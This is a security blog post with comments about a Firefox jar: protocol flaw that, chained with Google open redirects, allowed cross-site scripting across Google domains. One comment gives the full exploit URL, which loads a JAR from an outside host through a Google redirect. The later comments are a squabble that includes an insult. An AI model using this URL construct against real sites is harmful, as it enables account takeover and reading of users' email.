Severe XSS in Google and Others Due To The JAR Protocol Issues

After publishing my findings on the jar: URL protocol security issue for Firefox, I was contacted by MichaÅ‚ Zalewski regarding the possibilities for exploiting the vulnerability on the Google domain. I did not have much time to get back to him at the time, but I had a few ideas about how it could work. Of course, I was planning to silently release any of my findings to Michal and Google in order to prevent any attacks that may occur before Mozilla's scheduled update. The guys from Mozilla are currently busy with Firefox3, so I knew that it may take some time to properly patch the issue.

I had a few ideas in my mind about how the problem can be exploited in terms of Google. The first one was related to uploading a JAR archive on a public Google URL (docs, groups, etc). The second idea that I had was related to tricking the browser into believing that an external archive is located on the Google domain, possibly related to some kind of redirect. I was not aware of any redirect issues at Google at the time. I kind of remembered that the mobile GMail interface had one but I forget where I've put my notes regarding it.

So, I was scratching my head this morning on the problem. Meanwhile, beford was light-years ahead of me. He managed to prove that open redirects on Google could lead to domain wide XSS. "Suddenly, it feels that the sky is falling." This means that attackers can get to any place on Google and do whatever they want with your profile and your online presence (i.e. backdoor Google service, snoop onto your searches, read your emails, etc).

Unfortunately, the issue is public so Google needs to make sure that they close all their open redirects (which are far too many) or Firefox should release an update now. Untill then, no one is safe! I repeat, the same technique can be applied to any other Web application out there. This is what I would like to refer to as Web-wide Cross-site Scripting vulnerabilities. There is more research coming very soon. Let's catch up at OWASP San Jose.

Archived Comments

pdp

I forgot to mention how the attack works. Well, it is very simple. As I said, it is based on a 302 redirect, like many other similar issues:

jar:http://groups.google.com/searchhistory/url?url=http://beford.org/stuff/htm.jar!/htm.htm

Pay attention on the URL construct. 10x to beford.

tommy

Nice poc, keep up the great work ;).

vindic

pdp this is amazing post, thank you for you gr8 work ;)

Giorgio Maone

"no one is safe"... a bit unfair to me ;)

pdp

you never know ;)

vaj

this is the lame this is not hacking BUFFEROVERFLOW IS HACKING (c;

pdp

vaj, you are sarcastic right?

vaj

xss is not hacking because it needs interact from target only buffer overflow of openbsd dhcpd is hacking, because every important target use openbsd for everything. that is why openbsd dhcpd exploit is the greatest hacking of all time. no hacker is interested in hacking workstation of employee of target company and bouncing from internal workstation to sensitive data. this is not hacking because the workstation do not use openbsd dhcpd and hacker did not have to write shellcode. because shellcode is complex, xss is not complex, therefore u should never use it to hack because only reason to hack is to impress other hackers with your exploit, not to get data or compromise network user interaction is lame except if u distribute backdoor exploit code for openbsd dhcpd exploit and user compile and run backdoor and then you own whitehat security company and then u write a zine about it.

pdp

xss is not hacking because it needs interact from target

so does every other client-side exploit, even if it is BF or whatever else. what do u define as hacking?

only buffer overflow of openbsd dhcpd is hacking, because every important target use openbsd for everything. that is why openbsd dhcpd exploit is the greatest hacking of all time.

you are either script kiddie or you have no idea about the security business and industry at all.

because shellcode is complex

haha :) shellcode is complex? right! I guess it is complex to you because you cannot write it.

user interaction is lame except if u distribute backdoor exploit code for openbsd dhcpd exploit and user compile and run backdoor and then you own whitehat security company and then u write a zine about it.

why do u keep mentioning BSD? what is with that? My friendly advise to you is to open your mind a little bit and stop being a sheep. Security is such a vast topic. Restricting yourself one single thing wont bring you anything good and will make you sound retarded. So, keep up with your instincts but do not judge things that you simple don't understand.

Zapphod

vaj - Hillarious! They don't get ya!

Nicolas

Oh yeah, hacking a dhcpd is the only thing that is actually hacking. LOL what an idiot XD

vaj

pdp your sarcasm detector is very broken :)

ronald

@vaj shellcode isn't complex, it only takes huge amounts of time to construct a correct payload, and that payload could chnage due to some conditions, and might not work all the time. So no mumbo jumbo about "hacking" and "shellcode" because it looks difficult, while it really isn't. The principles behind it are easy to grasp. I understand what message you try to send here, but you can't say hacking is "this" or "that". Mainly for the fact that most buffer overflows all work the same, the creation of shellcode is only a process, just like programming is. If you like spending countless hours attaching crashing programs to a debugger, in order to construct decent shellcode, well that's your kick then. I do agree however that the "jar" issue isn't bad. I don't think it's such a big issue, but that is my opinion. For the reason that a) I knew about it. b) Firefox/extensions boot up out jars. c) It's actually used for a signed javascript archives for years. d) never trust content.

Nicolas

vaj your sarcasm generator is very broken. Sarcasm just doesn't work on Internet.